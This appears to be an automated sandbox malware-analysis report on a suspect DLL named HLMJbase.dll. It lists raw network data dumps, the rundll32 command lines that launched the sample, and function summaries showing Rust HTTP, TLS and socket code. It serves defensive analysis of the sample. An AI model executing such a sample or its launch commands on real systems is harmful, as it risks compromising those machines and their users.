2024-12-22 08:17:11 UTC	16384	IN	Data Raw: 75 f8 53 ff 75 14 ff 75 10 ff 75 0c 56 e8 9f fb ff ff 83 c4 20 e8 3c 5b ff ff 83 b8 94 00 00 00 00 74 05 e8 59 84 ff ff 5f 5e 5b c9 c3 8b ff 55 8b ec 56 ff 75 08 8b f1 e8 ca 30 ff ff c7 06 88 77 41 00 8b c6 5e 5d c2 04 00 8b ff 55 8b ec 53 56 57 e8 ff 5a ff ff 83 b8 0c 02 00 00 00 8b 45 18 8b 4d 08 bf 63 73 6d e0 be ff ff ff 1f bb 22 05 93 19 75 20 8b 11 3b d7 74 1a 81 fa 26 00 00 80 74 12 8b 10 23 d6 3b d3 72 0a f6 40 20 01 0f 85 93 00 00 00 f6 41 04 66 74 23 83 78 04 00 0f 84 83 00 00 00 83 7d 1c 00 75 7d 6a ff 50 ff 75 14 ff 75 0c e8 7a f4 ff ff 83 c4 10 eb 6a 83 78 0c 00 75 12 8b 10 23 d6 81 fa 21 05 93 19 72 58 83 78 1c 00 74 52 39 39 75 32 83 79 10 03 72 2c 39 59 14 76 27 8b 51 1c 8b 52 08 85 d2 74 1d 0f b6 75 24 56 ff 75 20 ff 75 1c 50 ff 75 14 ff Data Ascii: uSuuuV <[tY_^[UVu0wA^]USVWZEMcsm"u ;t&t#;r@ Aft#x}u}jPuuzjxu#!rXxtR99u2yr,9Yv'QRtu$Vu uPu
2024-12-22 08:17:11 UTC	16384	IN	Data Raw: 00 00 00 ff ff ff ff b0 40 41 00 00 00 00 00 bb 40 41 00 01 00 00 00 c6 40 41 00 02 00 00 00 d1 40 41 00 03 00 00 00 de 40 41 00 04 00 00 00 ec 40 41 00 05 00 00 00 f9 40 41 00 06 00 00 00 06 41 41 00 07 00 00 00 13 41 41 00 07 00 00 00 1e 41 41 00 09 00 00 00 2c 41 41 00 0a 00 00 00 3a 41 41 00 0b 00 00 00 48 41 41 00 22 05 93 19 0d 00 00 00 e0 7e 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ff ff ff ff 80 41 41 00 00 00 00 00 8b 41 41 00 22 05 93 19 02 00 00 00 6c 7f 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ff ff ff ff c0 41 41 00 ff ff ff ff cb 41 41 00 22 05 93 19 02 00 00 00 a0 7f 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ff ff ff ff f0 41 41 00 Data Ascii: @A@A@A@A@A@A@AAAAAAA,AA:AAHAA"~AAAAA"lAAAAA"AAA
2024-12-22 08:17:11 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-12-22 08:17:11 UTC	9507	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Target ID:	0
Start time:	03:17:02
Start date:	22/12/2024
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\HLMJbase.dll"
Imagebase:	0x9e0000
File size:	126'464 bytes
MD5 hash:	51E6071F9CBA48E79F10C84515AAE618
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:17:02
Start date:	22/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	03:17:02
Start date:	22/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\HLMJbase.dll",#1
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	03:17:02
Start date:	22/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\HLMJbase.dll,NvOptimusEnablement
Imagebase:	0xe0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:17:02
Start date:	22/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\HLMJbase.dll",#1
Imagebase:	0xe0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	03:17:05
Start date:	22/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\HLMJbase.dll",NvOptimusEnablement
Imagebase:	0xe0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	03:17:08
Start date:	22/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7544 -s 724
Imagebase:	0xb80000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	17.8%
Total number of Nodes:	2000
Total number of Limit Nodes:	124

Executed Functions

Function 6CBB481F Relevance: 85.5, APIs: 46, Strings: 9, Instructions: 2979COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,000000C0), ref: 6CBB4875
memmove.VCRUNTIME140(?,?,00000098), ref: 6CBB4886
memmove.VCRUNTIME140(?,?,00000098), ref: 6CBB49AB
memmove.VCRUNTIME140(?,?,00000148), ref: 6CBB49DF
memmove.VCRUNTIME140(?,?,00000148), ref: 6CBB49F7
memmove.VCRUNTIME140(?,?,00000098), ref: 6CBB4A3A
memmove.VCRUNTIME140(?,?,00000188), ref: 6CBB4A7C
memmove.VCRUNTIME140(?,?,00000029), ref: 6CBB4C4B

Strings

Flatten polled after completionD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\futures-util-0.3.31\src\future\future\flatten.rs, xrefs: 6CBB77E9
P, xrefs: 6CBB5FC1
internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs, xrefs: 6CBB7801, 6CBB7861
U9W{, xrefs: 6CBB52AE
authority implies host, xrefs: 6CBB78AD
domain is valid Uri, xrefs: 6CBB7849
uri host is valid header value, xrefs: 6CBB7895
Map must not be polled after it returned `Poll::Ready`, xrefs: 6CBB77D7
cannot poll Select twice, xrefs: 6CBB4981

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID: Flatten polled after completionD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\futures-util-0.3.31\src\future\future\flatten.rs$Map must not be polled after it returned `Poll::Ready`$P$U9W{$authority implies host$cannot poll Select twice$domain is valid Uri$internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs$uri host is valid header value
API String ID: 2162964266-2968858985
Opcode ID: 1c8ac67fdcb28dbdc3cf5a16c58a62947c4aaad29a282b39ec5479f911fe833e
Instruction ID: 15118a772302be5bfb0d80b9cfd212e14862bb31fd9ab198a6512eab54f810c8
Opcode Fuzzy Hash: 1c8ac67fdcb28dbdc3cf5a16c58a62947c4aaad29a282b39ec5479f911fe833e
Instruction Fuzzy Hash: 1A537D71908B858FD725CF24C480BABB7E1FF89314F04896DE8896F751DB70A949CB92

Function 6CBD6D3C Relevance: 37.5, APIs: 19, Strings: 2, Instructions: 738encryptionCOMMON

Download Yara Rule

APIs

CertFreeCertificateContext.CRYPT32(?), ref: 6CBD6EDA
CertFreeCertificateContext.CRYPT32 ref: 6CBD6EDD
CertGetCertificateChain.CRYPT32(00000000,?,00000000,00000000,?,C0000001,00000000,00000000), ref: 6CBD6F7F
CertFreeCertificateContext.CRYPT32 ref: 6CBD7026
CertFreeCertificateContext.CRYPT32 ref: 6CBD7049
GetLastError.KERNEL32 ref: 6CBD705F
CertFreeCertificateContext.CRYPT32 ref: 6CBD7091
CertFreeCertificateChain.CRYPT32(?), ref: 6CBD70CA
CertVerifyCertificateChainPolicy.CRYPT32(00000004,?,?,00000010), ref: 6CBD7144
CertFreeCertificateContext.CRYPT32(?), ref: 6CBD7247
AcceptSecurityContext.SECUR32(?,?,?,0001011C,00000000,?,?,?,00000000), ref: 6CBD743A
InitializeSecurityContextW.SECUR32(?,?,00000000,0009819C,00000000,00000000,?,00000000,00000000,?,?,00000000), ref: 6CBD74A9
FreeContextBuffer.SECUR32(?), ref: 6CBD74C1
FreeContextBuffer.SECUR32(00000000), ref: 6CBD7565
FreeContextBuffer.SECUR32(?), ref: 6CBD75F6
CertFreeCertificateChain.CRYPT32(?), ref: 6CBD76F2
CertFreeCertificateContext.CRYPT32(?), ref: 6CBD76FD

Strings

P(Hu, xrefs: 6CBD6ED4, 6CBD7026, 6CBD7049, 6CBD7091, 6CBD7247, 6CBD76FD
unexpected EOF during handshakeassertion failed: size >= nread, xrefs: 6CBD7762

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: ContextFree$CertCertificate$Chain$Buffer$Security$AcceptErrorInitializeLastPolicyVerify
String ID: P(Hu$unexpected EOF during handshakeassertion failed: size >= nread
API String ID: 619209709-78324864
Opcode ID: 1018c51b172c0cd98dfe7590fa1ab78d884bd742a8888cff22b2f4033e02285c
Instruction ID: eb7dc16b3352f9c72ee06c848200096f7ab937d85626dfb3200b39d20755c40f
Opcode Fuzzy Hash: 1018c51b172c0cd98dfe7590fa1ab78d884bd742a8888cff22b2f4033e02285c
Instruction Fuzzy Hash: 256278706087819FD314CF24C040B9ABBF1FF89718F11891DE8999B791DBB5E889CB92

Function 6CBA8469 Relevance: 31.0, APIs: 11, Strings: 8, Instructions: 2540COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,00000098), ref: 6CBA8586
memmove.VCRUNTIME140(?,?,00000088), ref: 6CBA860E
memmove.VCRUNTIME140(?,?,00000088,?), ref: 6CBA8CD6
memset.VCRUNTIME140(?,000000FF,?), ref: 6CBA8DF7

Part of subcall function 6CB65AD0: RtlFreeHeap.NTDLL(00000000,?,6CBE7E44), ref: 6CB65AE1

memmove.VCRUNTIME140(?,?,00000088), ref: 6CBA94CF
memmove.VCRUNTIME140(?,00000000,00000090), ref: 6CBA99D5
memmove.VCRUNTIME140(?,?,00000090), ref: 6CBA9ADA
memmove.VCRUNTIME140(?,?,000000F0), ref: 6CBA9B83
memmove.VCRUNTIME140(?,?,00000138), ref: 6CBAAC2B
memmove.VCRUNTIME140(?,?,00000108), ref: 6CBAAC48

Strings

C, xrefs: 6CBA87DA
send stream capacity unexpectedly closedD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\io\util\write_all.rs, xrefs: 6CBAC06D
internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs, xrefs: 6CBAB0AC, 6CBAB0EA, 6CBAC0D4, 6CBAC2A3, 6CBAC340, 6CBAC441
keep-aliveHTTP/1.1 100 Continueinternal error: entered unreachable code: poll_read_body invalid state: , xrefs: 6CBA8624
connection error, xrefs: 6CBAAA28
called `Result::unwrap()` on an `Err` value, xrefs: 6CBAB0FC, 6CBAB10B, 6CBAB145, 6CBAB179, 6CBAB194, 6CBAB1C7, 6CBAC216
Map must not be polled after it returned `Poll::Ready`, xrefs: 6CBAB00E, 6CBAC232
C, xrefs: 6CBA878B

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove$FreeHeapmemset
String ID: C$C$Map must not be polled after it returned `Poll::Ready`$called `Result::unwrap()` on an `Err` value$connection error$internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs$keep-aliveHTTP/1.1 100 Continueinternal error: entered unreachable code: poll_read_body invalid state: $send stream capacity unexpectedly closedD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\io\util\write_all.rs
API String ID: 217009222-2210599076
Opcode ID: 7916cce1a3a54726b43afe406e86c79df06a540622a1d7fb20fd7e5fa06acb58
Instruction ID: 75ab1d8ff13d6c57d60e9fb416a4e4b98ef219a9e3a1f801338ac2824ac334ed
Opcode Fuzzy Hash: 7916cce1a3a54726b43afe406e86c79df06a540622a1d7fb20fd7e5fa06acb58
Instruction Fuzzy Hash: 25434271A087C18BD771CF24C4907AEB7E1FF89308F10891ED8D99B651DB71A98ACB52

Function 6CBBAA6C Relevance: 17.5, APIs: 4, Strings: 7, Instructions: 960COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(00000000,?,00000150), ref: 6CBBB39A
memmove.VCRUNTIME140(?,00000000,00000094,?,6CC53F94,6CC53FDC), ref: 6CBBB585
memmove.VCRUNTIME140(?,?,00000094,?,?,?,?,6CC53F94,6CC53FDC), ref: 6CBBB5B2
memmove.VCRUNTIME140(?,?,00000094,?,?,?,?,?,?,?,6CC53F94,6CC53FDC), ref: 6CBBB5DC

Strings

, xrefs: 6CBBB1A2
internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs, xrefs: 6CBC2743, 6CBC2767
ALPN upgraded to HTTP/2, xrefs: 6CBBB805
called `Result::unwrap()` on an `Err` value, xrefs: 6CBC2905
TryFlatten polled after completionD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\futures-util-0.3.31\src\future\try_future\try_flatten.rs, xrefs: 6CBC2779
Map must not be polled after it returned `Poll::Ready`, xrefs: 6CBC2755
assertion failed: DEFAULT_MAX_FRAME_SIZE <= val && val <= MAX_MAX_FRAME_SIZED:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\h2-0.3.26\src\frame\settings.rs, xrefs: 6CBC27AC

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID: $ALPN upgraded to HTTP/2$Map must not be polled after it returned `Poll::Ready`$TryFlatten polled after completionD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\futures-util-0.3.31\src\future\try_future\try_flatten.rs$assertion failed: DEFAULT_MAX_FRAME_SIZE <= val && val <= MAX_MAX_FRAME_SIZED:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\h2-0.3.26\src\frame\settings.rs$called `Result::unwrap()` on an `Err` value$internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs
API String ID: 2162964266-4189558408
Opcode ID: 0d1c5e980e6dc163dbc8161d64a2d4e598beb155e6b5c47e1b480f73cac3002c
Instruction ID: 3fc8a4574f48982dc6a0cd7daa3dc692a9e4552244394365cb4bd43f1f82b68e
Opcode Fuzzy Hash: 0d1c5e980e6dc163dbc8161d64a2d4e598beb155e6b5c47e1b480f73cac3002c
Instruction Fuzzy Hash: 6F928B75A087818FC325CF28C4907EEBBE5BFC9314F148A2EE5999B781DB709945CB42

Function 6CBD9CA8 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 1823COMMON

Download Yara Rule

APIs

Part of subcall function 6CBF9BE5: CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000000,?,?,00000001,?,6CBD9DB2), ref: 6CBF9C14

memmove.VCRUNTIME140(00000000,?,00000138), ref: 6CBDA3D9
memmove.VCRUNTIME140(?,?,00000138), ref: 6CBDA567
memmove.VCRUNTIME140(00000004,?,00000158), ref: 6CBDA606

Strings

=, xrefs: 6CBD9D6F
failed to park thread, xrefs: 6CBDB9EA
Failed to `Enter::block_on`, xrefs: 6CBDB953
cannot access a Thread Local Storage value during or after destruction/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\std\src\thread\local.rs, xrefs: 6CBDBA20, 6CBDBA94

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove$CompletionCreatePort
String ID: =$Failed to `Enter::block_on`$cannot access a Thread Local Storage value during or after destruction/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\std\src\thread\local.rs$failed to park thread
API String ID: 613624600-1090645739
Opcode ID: e09b0f4eb41d58c2b3dc6e354a41106e4355f729d7b9bf06bf1ec07e41138e03
Instruction ID: cc13fcd34f8fe375b6139250175a6efc3ebec04369370fc7e25e5b63251c7bce
Opcode Fuzzy Hash: e09b0f4eb41d58c2b3dc6e354a41106e4355f729d7b9bf06bf1ec07e41138e03
Instruction Fuzzy Hash: 890399706087818FD725CF24C4907AEB7F1FF89318F15896DD8998BB51DB70A94ACB82

Function 6CBC90A8 Relevance: 11.8, APIs: 3, Strings: 4, Instructions: 1271COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,000000D0), ref: 6CBC90FF
memmove.VCRUNTIME140(00000003,?,00000098), ref: 6CBC946E

Strings

., xrefs: 6CBC94F1
Pending error polled more than once, xrefs: 6CBC9143
cookie2too many redirectsassertion failed: slot.is_none()D:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\futures-channel-0.3.31\src\oneshot.rs, xrefs: 6CBC9ADA
L, xrefs: 6CBC9B3C

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID: .$L$Pending error polled more than once$cookie2too many redirectsassertion failed: slot.is_none()D:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\futures-channel-0.3.31\src\oneshot.rs
API String ID: 2162964266-3828590624
Opcode ID: 7e6b250001b3bde59011bad69919fd355e2f7e1a105ddaf7f2c63221d4f2c470
Instruction ID: 3756ae880d544472cf06046a4ddb8848625cc9c526c24533aee26c198e893fe6
Opcode Fuzzy Hash: 7e6b250001b3bde59011bad69919fd355e2f7e1a105ddaf7f2c63221d4f2c470
Instruction Fuzzy Hash: 49B28F716087819BD725CF24C490BEEB7E1FFC5318F14892DE8999B781DB71A84ACB42

Function 6CB614AB Relevance: 11.1, APIs: 2, Strings: 5, Instructions: 636COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,reqwest-internal-sync-runtimecore thread exited early,0000001D), ref: 6CB61681

Strings

QK, xrefs: 6CB62E7F
*/*, xrefs: 6CB614F1
\, xrefs: 6CB61CEA
, xrefs: 6CB638AF
reqwest-internal-sync-runtimecore thread exited early, xrefs: 6CB6167B

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID: */*$reqwest-internal-sync-runtimecore thread exited early$QK$$\
API String ID: 2162964266-1477125959
Opcode ID: 84966a6fce5570dc1ddc0bdd28a37f68b55373ec17c7799eabfb40fb71a6f677
Instruction ID: 8b9e6c4ac0c63d79d9300dbc201ad1721f505e6c5e31f49079314320a6d11b82
Opcode Fuzzy Hash: 84966a6fce5570dc1ddc0bdd28a37f68b55373ec17c7799eabfb40fb71a6f677
Instruction Fuzzy Hash: B36268719087818FD325CF25C444BEAB7F0FF89315F098AAED9899B752DB709489CB42

Function 6CB94854 Relevance: 9.1, APIs: 6, Instructions: 106filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL ref: 6CB94879
RtlNtStatusToDosError.NTDLL ref: 6CB94884
CreateIoCompletionPort.KERNELBASE(?,?,00000000,00000000), ref: 6CB948FB
SetFileCompletionNotificationModes.KERNEL32(?,00000002), ref: 6CB9490B

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: CompletionCreateFile$ErrorModesNotificationPortStatus
String ID:
API String ID: 986160054-0
Opcode ID: 478e6c2bbb96f0331a2dcace435df283c1b019acd306bc0ee3fbfe04528d6ffc
Instruction ID: ede6a645959ae8ac2f8558995ea2ef7f1a4c9a50e49d96f9acfa1461f0f09b6f
Opcode Fuzzy Hash: 478e6c2bbb96f0331a2dcace435df283c1b019acd306bc0ee3fbfe04528d6ffc
Instruction Fuzzy Hash: A041DBB1244385EFE7009F29C841B1ABBF0FB06719F14892DE2A9CB682C775E881CF55

Function 6CB94268 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 335filenativeCOMMON

Download Yara Rule

APIs

NtDeviceIoControlFile.NTDLL ref: 6CB943F2
RtlNtStatusToDosError.NTDLL ref: 6CB94404

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 6CB94626, 6CB94675

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: ControlDeviceErrorFileStatus
String ID: called `Result::unwrap()` on an `Err` value
API String ID: 2674770877-2333694755
Opcode ID: af9e24778652fac913e56ab91853004251e1874c63bd5070237abb4d9a51807b
Instruction ID: b31dd14bafe8d0cc6fc41ebe94f2a6ad88baefed7a985331cbc1f672557a1778
Opcode Fuzzy Hash: af9e24778652fac913e56ab91853004251e1874c63bd5070237abb4d9a51807b
Instruction Fuzzy Hash: 47D1AE706083818FCB04CF18C49065EB7E1FF8A308F14896DE9A99BB95DB70E955CF82

Function 6CBF84E7 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 175networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,?,00000000), ref: 6CBF8593
WSAGetLastError.WS2_32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CBF85A0

Strings

filled overflowfilled must not become larger than initialized, xrefs: 6CBF8700

